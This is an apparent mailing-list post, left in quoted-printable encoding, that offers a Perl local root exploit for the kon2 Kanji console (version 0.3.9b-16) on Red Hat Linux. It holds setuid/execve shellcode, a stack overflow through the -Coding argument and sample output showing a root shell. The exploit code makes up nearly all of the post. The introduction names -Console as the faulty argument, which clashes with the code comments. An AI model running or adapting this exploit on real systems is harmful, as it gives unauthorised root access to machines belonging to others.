I look kon2 source and -Console arg is the problem,=0D=0Aso here go the =
PoC.=0D=0A=0D=0A=0D=0A----cut here--------=0D=0A=0D=0A#!/usr/bin/perl=0D=0A=
################################################## #######################=
###########=0D=0A#Priv8security.com kon2 version 0.3.9b-16 and < local ro=
ot exploit.=0D=0A#=0D=0A# Tested on Redhat 8.0. should work on 9.0 and=
7.3=0D=0A# Bug happens on -Coding arg.=0D=0A# Based on Redhat Advi=
sory.=0D=0A#=0D=0A# [wsxz@localhost buffer]$ perl priv8kon.pl=0D=0A# =
-=3D[ Priv8security.com kon local root exploit ]=3D-=0D=0A# usage: p=
riv8kon.pl offset=0D=0A# [+] Using ret shellcode 0xbfffffc6=0D=0A# =
Kanji ON Console ver.0.3.9 (2000/04/09)=0D=0A#=0D=0A# KON> video type =
'VGA' selected=0D=0A# KON> hardware scroll mode.=0D=0A# sh-2.05b# i=
d=0D=0A# uid=3D0(root) gid=3D0(root) groups=3D500(wsxz)=0D=0A#########=
################################################## #######################=
##=0D=0A=0D=0A=0D=0A$shellcode =3D=0D=0A"\x31\xc0\x31\xdb\xb0\x17\xcd\x80=
".#setuid 0=0D=0A"\x31\xdb\x89\xd8\xb0\x2e\xcd\x80".#setgid 0=0D=0A"\x31\=
xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69".= 0D=0A"\x89\xe3\x52\x53\=
x89\xe1\x8d\x42\x0b\xcd\x80";=0D=0A=0D=0A$path =3D "/usr/bin/kon";=0D=0A$=
ret =3D 0xbffffffa - length($shellcode) - length($path);=0D=0A=0D=0A$offs=
et =3D $ARGV[0];=0D=0A=0D=0Aprint "-=3D[ Priv8security.com kon2 local roo=
t exploit ]=3D-\n";=0D=0Aprint "usage: $0 offset\n";=0D=0Aprintf("[+] Usi=
ng ret shellcode 0x%x\n",$ret + $offset);=0D=0A=0D=0A$new_retword =3D pac=
k('l', ($ret + $offset));=0D=0A$buffer2 =3D "A" x 796;=0D=0A$buffer2 .=3D=
$new_retword;=0D=0A$buffer =3D $shellcode;=0D=0Alocal($ENV{'WSXZ'}) =3D =
$buffer;=0D=0Aexec("$path -Coding $buffer2");=0D=0A=0D=0A-----cut here---=
----